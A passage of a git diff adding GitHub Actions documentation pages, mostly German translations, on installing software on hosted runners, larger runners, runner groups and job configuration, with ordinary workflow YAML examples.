+ms.openlocfilehash: d6793216b099fe3dcec44572da0b3d65cbb13fd9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107139'
+---
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+Wenn du zusätzliche Softwarepakete für {% data variables.product.prodname_dotcom %}-gehostete Runner benötigst, kannst du einen Auftrag erstellen, der die Pakete im Rahmen deines Workflows installiert. 
+
+Informationen dazu, welche Pakete bereits standardmäßig installiert sind, findest du unter [Vorinstallierte Software](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software).
+
+In diesem Leitfaden wird gezeigt, wie du einen Auftrag erstellst, der zusätzliche Software auf einem {% data variables.product.prodname_dotcom %}-gehosteten Runner installiert.
+
+## Installieren von Software auf Ubuntu-Runnern
+
+Im folgenden Beispiel wird veranschaulicht, wie du ein `apt`-Paket als Teil eines Auftrags installierst.
+
+```yaml
+name: Build on Ubuntu
+on: push
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Install jq tool
+        run: |
+          sudo apt-get update
+          sudo apt-get install jq
+```
+
+{% note %}
+
+**Hinweis**: Führe vor dem Installieren eines Pakets immer `sudo apt-get update` aus. Wenn der `apt`-Index veraltet ist, ruft dieser Befehl alle verfügbaren Pakete ab und indiziert sie erneut, wodurch Paketinstallationsfehler vermieden werden. 
+
+{% endnote %}
+
+## Installieren von Software auf macOS-Runnern
+
+Im folgenden Beispiel wird veranschaulicht, wie du Brew-Pakete und Casks als Teil eines Auftrags installierst.
+
+```yaml
+name: Build on macOS
+on: push
+
+jobs:
+  build:
+    runs-on: macos-latest
+    steps:
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Install GitHub CLI
+        run: |
+          brew update
+          brew install gh
+      - name: Install Microsoft Edge
+        run: |
+          brew update
+          brew install --cask microsoft-edge
+```
+
+## Installieren von Software auf Windows-Runnern
+
+Im folgenden Beispiel wird veranschaulicht, wie du mit [Chocolatey](https://community.chocolatey.org/packages) die {% data variables.product.prodname_dotcom %}-CLI als Teil eines Auftrags installierst.
+
+{% raw %}
+```yaml
+name: Build on Windows
+on: push
+jobs:
+  build:
+    runs-on: windows-latest
+    steps:
+      - run: choco install gh
+      - run: gh version
+```
+{% endraw %}
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/index.md b/translations/de-DE/content/actions/using-github-hosted-runners/index.md
new file mode 100644
index 0000000000..5eb8e1bb7a
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/index.md
@@ -0,0 +1,23 @@
+---
+title: Verwenden von auf GitHub gehosteten Runnern
+intro: 'Du kannst die Runner von GitHub verwenden, um deine GitHub Actions-Workflows auszuführen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+children:
+  - /about-github-hosted-runners
+  - /using-larger-runners
+  - /controlling-access-to-larger-runners
+  - /monitoring-your-current-jobs
+  - /customizing-github-hosted-runners
+  - /connecting-to-a-private-network
+shortTitle: Use GitHub-hosted runners
+ms.openlocfilehash: 23875a8bb301d0246b33903312782ed3d76cc371
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147763684'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md b/translations/de-DE/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md
new file mode 100644
index 0000000000..d0d18a517a
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md
@@ -0,0 +1,33 @@
+---
+title: Überwachen deiner aktuellen Aufträge
+intro: 'Überwache, wie von {% data variables.product.prodname_dotcom %} gehostete Runner Aufträge in deiner Organisation oder deinem Unternehmen verarbeiten und alle zugehörigen Einschränkungen ermitteln.'
+versions:
+  feature: github-runner-dashboard
+shortTitle: Monitoring your current jobs
+ms.openlocfilehash: 86f1551e1908106126516b489c436922b15ce60d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107127'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Anzeigen aktiver Aufträge in deiner Organisation oder deinem Unternehmen
+
+Du kannst eine Liste aller derzeit von {% data variables.product.prodname_dotcom %} gehosteten Runnern in deiner Organisation oder deinem Unternehmen ausgeführten Aufträge abrufen.
+
+{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} {% data reusables.actions.github-hosted-runners-table-entry %}
+1. Überprüfe den Abschnitt „Aktive Aufträge“, der eine Liste aller derzeit von {% data variables.product.prodname_dotcom %} gehosteten Runnern ausgeführten Aufträge enthält.
+
+  ![Screenshot der Liste der aktiven Aufträge](/assets/images/help/settings/actions-runner-active-jobs.png)
+
+## Anzeigen von in deiner Organisation oder deinem Unternehmen in die Warteschlange eingereihten Aufträgen
+
+{% data variables.product.prodname_dotcom %}-gehostete Runner ermöglichen es Ihnen, Aufträge gleichzeitig auszuführen. Die maximale Anzahl gleichzeitiger Aufträge variiert je nach Plan. Wenn du die maximale Anzahl gleichzeitiger Aufträge erreichst, werden alle neuen Aufträge in eine Warteschlange eingereiht. Weitere Informationen zur Anzahl gleichzeitiger Aufträge, die für deinen Plan verfügbar sind, findest du unter [Nutzungsbeschränkungen, Abrechnung und Verwaltung](/actions/learn-github-actions/usage-limits-billing-and-administration).
+
+Im folgenden Verfahren wird veranschaulicht, wie du die maximale Anzahl gleichzeitiger Aufträge überprüfst, die du ausführen kannst.
+
+{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} {% data reusables.actions.github-hosted-runners-table-entry %}
+1. Überprüfe den Abschnitt „Alle Aufträge: Verwendung“, der die Anzahl der aktiven Aufträge und die maximale Anzahl von Aufträgen enthält, die du ausführen kannst. In diesem Beispiel werden `9` Aufträge von maximal `180` Aufträgen ausgeführt.
+  ![Screenshot: Maximale Anzahl Aufträge für ein Konto](/assets/images/help/settings/github-hosted-runners-max-jobs.png)
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/using-larger-runners.md b/translations/de-DE/content/actions/using-github-hosted-runners/using-larger-runners.md
new file mode 100644
index 0000000000..c93e08c819
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/using-larger-runners.md
@@ -0,0 +1,192 @@
+---
+title: Using larger runners
+shortTitle: Larger runners
+intro: '{% data variables.product.prodname_dotcom %} offers larger runners with more RAM and CPU.'
+miniTocMaxHeadingLevel: 3
+product: '{% data reusables.gated-features.hosted-runners %}'
+versions:
+  feature: actions-hosted-runners
+---
+
+## Overview of {% data variables.actions.hosted_runner %}s
+
+In addition to the [standard {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources), {% data variables.product.prodname_dotcom %} also offers customers on {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %} plans a range of {% data variables.actions.hosted_runner %}s with more RAM and CPU. These runners are hosted by {% data variables.product.prodname_dotcom %} and have the runner application and other tools preinstalled.
+
+When {% data variables.actions.hosted_runner %}s are enabled for your organization, a default runner group is automatically created for you with a set of four pre-configured {% data variables.actions.hosted_runner %}s.
+
+When you add a {% data variables.actions.hosted_runner %} to an organization, you are defining a type of machine from a selection of available hardware specifications and operating system images. {% data variables.product.prodname_dotcom %} will then create multiple instances of this runner that scale up and down to match the job demands of your organization, based on the autoscaling limits you define.
+
+## Machine specs for {% data variables.actions.hosted_runner %}s 
+
+|Size (vcpu) | Memory (GB) | Storage (SSD) |
+| ------------- | ------------- | ------------- |
+|4 cores | 16  RAM  | 150 GB|
+| 8 cores | 32 RAM | 300 GB |
+|16 cores| 64 RAM | 600 GB |
+|32 cores| 128 RAM| 1200 GB|
+|64 cores| 256 RAM | 2040 GB|
+
+## Architectural overview of {% data variables.actions.hosted_runner %}s
+
+The {% data variables.actions.hosted_runner %}s are managed at the organization level, where they are arranged into groups that can contain multiple instances of the runner. They can also be created at the enterprise level and shared with organizations in the hierarchy. Once you've created a group, you can then add a runner to the group and update your workflows to target either the group name or the label assigned to the {% data variables.actions.hosted_runner %}. You can also control which repositories are permitted to send jobs to the group for processing. For more information about groups, see "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)."
+
+In the following diagram, a class of hosted runner named `ubuntu-20.04-16core` has been defined with customized hardware and operating system configuration.
+
+![Diagram explaining {% data variables.actions.hosted_runner %}](/assets/images/hosted-runner.png)
+
+1. Instances of this runner are automatically created and added to a group called `grp-ubuntu-20.04-16core`. 
+2. The runners have been assigned the label `ubuntu-20.04-16core`. 
+3. Workflow jobs use the `ubuntu-20.04-16core` label in their `runs-on` key to indicate the type of runner they need to execute the job.
+4. {% data variables.product.prodname_actions %} checks the runner group to see if your repository is authorized to send jobs to the runner.
+5. The job runs on the next available instance of the `ubuntu-20.04-16core` runner.
+
+## Autoscaling {% data variables.actions.hosted_runner %}s
+
+Your {% data variables.actions.hosted_runner %}s can be configured to automatically scale to suit your needs. When jobs are submitted for processing, more machines can be automatically provisioned to run the jobs, until reaching a pre-defined maximum limit. Each machine only handles one job at a time, so these settings effectively determine the number of jobs that can be run concurrently. 
+
+During the runner deployment process, you can configure the _Max_ option, which allows you to control your costs by setting the maximum parallel number of machines that are created in this set. A higher value here can help avoid workflows being blocked due to parallelism.
+
+## Networking for {% data variables.actions.hosted_runner %}s
+
+By default, {% data variables.actions.hosted_runner %}s receive a dynamic IP address that changes for each job run. Optionally, {% data variables.product.prodname_ghe_cloud %} customers can configure their {% data variables.actions.hosted_runner %}s to receive a static IP address from {% data variables.product.prodname_dotcom %}'s IP address pool. When enabled, instances of the {% data variables.actions.hosted_runner %} will receive an address from a range that is unique to the runner, allowing you to use this range to configure a firewall allowlist. {% ifversion fpt %}You can use up to 10 static IP address ranges in total across all your {% data variables.actions.hosted_runner %}s{% endif %}{% ifversion ghec %}You can use up to 10 static IP address ranges for the {% data variables.actions.hosted_runner %}s created at the enterprise level. In addition, you can use up to 10 static IP address ranges for the {% data variables.actions.hosted_runner %}s created at the organization level, for each organization in your enterprise{% endif %}.
+
+{% note %}
+
+**Note**: If runners are unused for more than 30 days, their IP address ranges are automatically removed and cannot be recovered.
+
+{% endnote %}
+
+## Planning for {% data variables.actions.hosted_runner %}s
+
+### Create a runner group
+
+Runner groups are used to collect sets of virtual machines and create a security boundary around them. You can then decide which organizations or repositories are permitted to run jobs on those sets of machines. During the {% data variables.actions.hosted_runner %} deployment process, the runner can be added to an existing group, or otherwise it will join a default group. You can create a group by following the steps in "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)."
+
+### Understanding billing
+
+{% note %}
+
+**Note**: The {% data variables.actions.hosted_runner %}s do not use included entitlement minutes, and are not free for public repositories.
+
+{% endnote %}
+
+Compared to standard {% data variables.product.prodname_dotcom %}-hosted runners, {% data variables.actions.hosted_runner %}s are billed differently. For more information, see "[Per-minute rates](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates)".
+
+## Adding a {% data variables.actions.hosted_runner %} to an enterprise
+
+You can add {% data variables.actions.hosted_runner %}s to an enterprise, where they can be assigned to multiple organizations. The organization admins can then control which repositories can use the runners. To add a {% data variables.actions.hosted_runner %} to an enterprise, you must be an enterprise owner.
+
+{% data reusables.actions.add-hosted-runner-overview %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+{% data reusables.actions.add-hosted-runner %}
+1. To allow organizations to access your {% data variables.actions.hosted_runner %}s, you specify the list of organizations that can use it. For more information, see "[Managing access to your runners](#managing-access-to-your-runners)."
+
+## Adding a {% data variables.actions.hosted_runner %} to an organization
+
+You can add a {% data variables.actions.hosted_runner %} to an organization, where the organization admins can control which repositories can use it. 
+
+{% data reusables.actions.add-hosted-runner-overview %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+{% data reusables.actions.add-hosted-runner %}
+1. To allow repositories to access your {% data variables.actions.hosted_runner %}s, add them to the list of repositories that can use it. For more information, see "[Managing access to your runners](#managing-access-to-your-runners)."
+
+## Running jobs on your runner
+
+Once your runner type has been defined, you can update your workflow YAML files to send jobs to your newly created runner instances for processing. You can use runner groups or labels to define where your jobs run. 
+
+Only owner or administrator accounts can see the runner settings. Non-administrative users can contact the organization administrator to find out which runners are enabled. Your organization administrator can create new runners and runner groups, as well as configure permissions to specify which repositories can access a runner group.
+
+### Using groups to control where jobs are run
+
+{% data reusables.actions.jobs.example-runs-on-groups %}
+
+### Using labels to control where jobs are run
+
+In this example, a runner group is populated with Ubuntu 16-core runners, which have also been assigned the label `ubuntu-20.04-16core`. The `runs-on` key sends the job to any available runner with a matching label:
+
+```yaml
+name: learn-github-actions
+on: [push]
+jobs:
+  check-bats-version:
+    runs-on:
+      labels: ubuntu-20.04-16core
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm install -g bats
+      - run: bats -v
+```
+
+### Using labels and groups to control where jobs are run
+
+{% data reusables.actions.jobs.example-runs-on-labels-and-groups %}
+
+### Using multiple labels
+
+You can specify multiple labels that need to be matched for a job to run on a runner. A runner will need to match all labels to be eligible to run the job.
+
+In this example, a runner will need to match all three of the labels to run the job:
+
+```yaml
+name: learn-github-actions
+on: [push]
+jobs:
+  check-bats-version:
+    runs-on:
+      labels: [ ubuntu-20.04-16core, gpu, qa ]
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm install -g bats
+      - run: bats -v
+```
+
+{% data reusables.actions.section-using-unique-names-for-runner-groups %}
+
+## Managing access to your runners
+
+{% note %}
+
+**Note**: Before your workflows can send jobs to {% data variables.actions.hosted_runner %}s, you must first configure permissions for the runner group. See the following sections for more information.
+
+{% endnote %}
+
+Runner groups are used to control which repositories can run jobs on your {% data variables.actions.hosted_runner %}s. You must grant access to the group from each level of the management hierarchy, depending on where you've defined the {% data variables.actions.hosted_runner %}:
+
+- **Runners at the enterprise level**: Configure the runner group to grant access to all the required organizations. In addition, for each organization, you must configure the group to specify which repositories are allowed access.
+- **Runners at the organization level**: Configure the runner group by specifying which repositories are allowed access.
+
+For example, the following diagram has a runner group named `grp-ubuntu-20.04-16core` at the enterprise level. Before the repository named `octo-repo` can use the runners in the group, you must first configure the group at the enterprise level to allow access from the `octo-org` organization; you must then configure the group at the organization level to allow access from `octo-repo`:
+
+![Diagram explaining {% data variables.actions.hosted_runner %} groups](/assets/images/hosted-runner-mgmt.png)
+
+### Allowing repositories to access a runner group
+
+This procedure demonstrates how to configure group permissions at the enterprise and organization levels:
+
+{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %}
+  - For runner groups in an enterprise: under **Organization access**, modify which organizations can access the runner group.
+  - For runner groups in an organization: under **Repository access**, modify which repositories can access the runner group.
+
+{% warning %}
+
+**Warning**:
+
+{% data reusables.actions.hosted-runner-security %}
+
+For more information, see "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)."
+
+{% endwarning %}
diff --git a/translations/de-DE/content/actions/using-jobs/assigning-permissions-to-jobs.md b/translations/de-DE/content/actions/using-jobs/assigning-permissions-to-jobs.md
new file mode 100644
index 0000000000..5aee0a12d1
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/assigning-permissions-to-jobs.md
@@ -0,0 +1,26 @@
+---
+title: Zuweisen von Berechtigungen zu Aufträgen
+shortTitle: Assigning permissions to jobs
+intro: Ändere die für `GITHUB_TOKEN` gewährten Standardberechtigungen.
+versions:
+  fpt: '*'
+  ghes: '> 3.1'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: c2e12e3b056df507195ee17a83710a39ffafb9a3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107124'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %}
+
+## Zuweisen von Berechtigungen zu einem bestimmten Auftrag
+
+{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %}
diff --git a/translations/de-DE/content/actions/using-jobs/choosing-the-runner-for-a-job.md b/translations/de-DE/content/actions/using-jobs/choosing-the-runner-for-a-job.md
new file mode 100644
index 0000000000..fda5388527
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/choosing-the-runner-for-a-job.md
@@ -0,0 +1,22 @@
+---
+title: Auswählen des Runners für einen Auftrag
+shortTitle: Choose the runner for a job
+intro: 'Lege den Computertyp fest, der einen Auftrag in deinem Workflow verarbeiten soll.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 18ba9ac5abe0e78d4b3608d5e225a34021ec2a2e
+ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: '148120881'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-choosing-the-runner-for-a-job %}
diff --git a/translations/de-DE/content/actions/using-jobs/defining-outputs-for-jobs.md b/translations/de-DE/content/actions/using-jobs/defining-outputs-for-jobs.md
new file mode 100644
index 0000000000..0dcd9a558c
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/defining-outputs-for-jobs.md
@@ -0,0 +1,22 @@
+---
+title: Definieren von Ausgaben für Aufträge
+shortTitle: Defining outputs for jobs
+intro: Erstelle eine Ausgabenzuordnung für deine Aufträge.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: a0eb0c59d1ec68d46cc34a7146bda42ce5ded478
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107116'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-defining-outputs-for-jobs %}
diff --git a/translations/de-DE/content/actions/using-jobs/index.md b/translations/de-DE/content/actions/using-jobs/index.md
new file mode 100644
index 0000000000..05260d52af
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/index.md
@@ -0,0 +1,30 @@
+---
+title: Verwenden von Aufträgen
+shortTitle: Using jobs
+intro: 'Erstellen und Verwalten von {% data variables.product.prodname_actions %}-Aufträgen.'
+redirect_from:
+  - /actions/jobs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /using-jobs-in-a-workflow
+  - /choosing-the-runner-for-a-job
+  - /using-conditions-to-control-job-execution
+  - /using-a-matrix-for-your-jobs
+  - /using-concurrency
+  - /using-environments-for-jobs
+  - /running-jobs-in-a-container
+  - /setting-default-values-for-jobs
+  - /assigning-permissions-to-jobs
+  - /defining-outputs-for-jobs
+ms.openlocfilehash: 6de2fd2719c09a2a6c569ca3e423b08cd526db88
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107115'
+---
+
diff --git a/translations/de-DE/content/actions/using-jobs/running-jobs-in-a-container.md b/translations/de-DE/content/actions/using-jobs/running-jobs-in-a-container.md
new file mode 100644
index 0000000000..e64647e9e8
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/running-jobs-in-a-container.md
@@ -0,0 +1,47 @@
+---
+title: Jobs in einem Container ausführen
+shortTitle: Running jobs in a container
+intro: 'Verwende einen Container, um die Schritte in einem Auftrag auszuführen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: 1ccae14ba6d242bd05dd3c8375375ef83b6c01cf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107112'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container %}
+
+## Definieren des Containerimages
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %}
+
+## Definieren der Anmeldeinformationen für eine Containerregistrierung
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %}
+
+## Verwenden von Umgebungsvariablen mit einem Container
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %}
+
+## Offenlegen von Netzwerkports auf einem Container
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %}
+
+## Einbinden von Volumes in einem Container
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %}
+
+## Festlegen von Containerressourcenoptionen
+
+{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %}
+
diff --git a/translations/de-DE/content/actions/using-jobs/setting-default-values-for-jobs.md b/translations/de-DE/content/actions/using-jobs/setting-default-values-for-jobs.md
new file mode 100644
index 0000000000..27ed8e5abd
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/setting-default-values-for-jobs.md
@@ -0,0 +1,34 @@
+---
+title: Festlegen von Standardwerten für Aufträge
+shortTitle: Setting default values for jobs
+intro: 'Lege die Standardeinstellungen fest, die für alle Aufträge im Workflow oder für alle Schritte in einem Auftrag gelten sollen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: 1035c8fbca7ac3d6a183abbded7ed1a1264c41fe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107111'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %}
+
+## Festlegen der Standardshell und des Arbeitsverzeichnisses
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %}
+
+## Festlegen von Standardwerten für einen bestimmten Auftrag
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %}
+
+## Festlegen der Standardshell und des Arbeitsverzeichnisses für einen Auftrag
+
+{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %}
diff --git a/translations/de-DE/content/actions/using-jobs/using-a-matrix-for-your-jobs.md b/translations/de-DE/content/actions/using-jobs/using-a-matrix-for-your-jobs.md
new file mode 100644
index 0000000000..e4ca215aa3
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/using-a-matrix-for-your-jobs.md
@@ -0,0 +1,64 @@
+---
+title: Verwenden von Matrizen für deine Aufträge
+shortTitle: Using a matrix
+intro: 'Erstelle eine Matrix, um Variationen für jeden Auftrag zu definieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+redirect_from:
+  - /actions/using-jobs/using-a-build-matrix-for-your-jobs
+ms.openlocfilehash: 2dd53fd8810e2ca5dcfc74ff8a6e45b46477d55f
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145107103'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Matrixstrategien
+
+{% data reusables.actions.jobs.about-matrix-strategy %}
+
+## Verwenden einer Matrixstrategie
+
+{% data reusables.actions.jobs.using-matrix-strategy %}
+
+### Beispiel: Verwenden einer Matrix mit einer einzelnen Dimension
+
+{% data reusables.actions.jobs.single-dimension-matrix %}
+
+### Beispiel: Verwenden einer Matrix mit mehreren Dimensionen
+
+{% data reusables.actions.jobs.multi-dimension-matrix %}
+
+### Beispiel: Erstellen von Matrizen mithilfe von Kontexten
+
+{% data reusables.actions.jobs.matrix-from-context %}
+
+## Erweitern oder Hinzufügen von Matrixkonfigurationen
+
+{% data reusables.actions.jobs.matrix-include %}
+
+### Beispiel: Erweitern von Konfigurationen
+
+{% data reusables.actions.jobs.matrix-expand-with-include %}
+
+### Beispiel: Hinzufügen von Konfigurationen
+
+{% data reusables.actions.jobs.matrix-add-with-include %}
+
+## Ausschließen von Matrixkonfigurationen
+
+{% data reusables.actions.jobs.matrix-exclude %}
+
+## Behandeln von Fehlern
+
+{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %}
+
+## Definieren der maximalen Anzahl von gleichzeitigen Aufträgen
+
+{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %}
diff --git a/translations/de-DE/content/actions/using-jobs/using-concurrency.md b/translations/de-DE/content/actions/using-jobs/using-concurrency.md
new file mode 100644
index 0000000000..c6f8a161a7
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/using-concurrency.md
@@ -0,0 +1,27 @@
+---
+title: Verwenden von Parallelität
+shortTitle: Using concurrency
+intro: Führe immer nur einen Auftrag auf einmal aus.
+versions:
+  fpt: '*'
+  ghes: '> 3.1'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: ab9d234fa635392a35123ded94880cafaee0a997
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '146180551'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-using-concurrency-jobs %}
+
+{% ifversion github-runner-dashboard %}
+## Überwachen deiner aktuellen Aufträge in deiner Organisation oder deinem Unternehmen
+
+{% data reusables.actions.github-hosted-runners-check-concurrency %} {% endif %}
diff --git a/translations/de-DE/content/actions/using-jobs/using-conditions-to-control-job-execution.md b/translations/de-DE/content/actions/using-jobs/using-conditions-to-control-job-execution.md
new file mode 100644
index 0000000000..c6fd3bc7b2
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/using-conditions-to-control-job-execution.md
@@ -0,0 +1,32 @@
+---
+title: Steuern der Auftragsausführung mithilfe von Bedingungen
+shortTitle: Using conditions to control job execution
+intro: 'Verhindere, dass ein Auftrag ausgeführt wird, wenn deine Bedingungen nicht erfüllt sind.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: 2f39111eb4dca06231b582d0d955d2ea68088926
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107088'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% note %}
+
+**Hinweis:** Der Status eines übersprungenen Auftrags wird als „Erfolgreich“ gemeldet. Die Zusammenführung eines Pull Requests wird dadurch nicht verhindert, selbst wenn es sich um eine erforderliche Überprüfung handelt.
+
+{% endnote %}
+
+{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %}
+
+Für einen übersprungenen Auftrag wird der folgende Status angezeigt:
+
+![Skipped-required-run-details](/assets/images/help/repository/skipped-required-run-details.png)
diff --git a/translations/de-DE/content/actions/using-jobs/using-environments-for-jobs.md b/translations/de-DE/content/actions/using-jobs/using-environments-for-jobs.md
new file mode 100644
index 0000000000..eaf531aa80
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/using-environments-for-jobs.md
@@ -0,0 +1,22 @@
+---
+title: Verwenden von Umgebungen für Aufträge
+shortTitle: Using environments for jobs
+intro: Gib eine Umgebung für einen Auftrag an.
+versions:
+  fpt: '*'
+  ghes: '> 3.0'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: 4e1f53b46042b1e0b237d3639112b7516e47bece
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
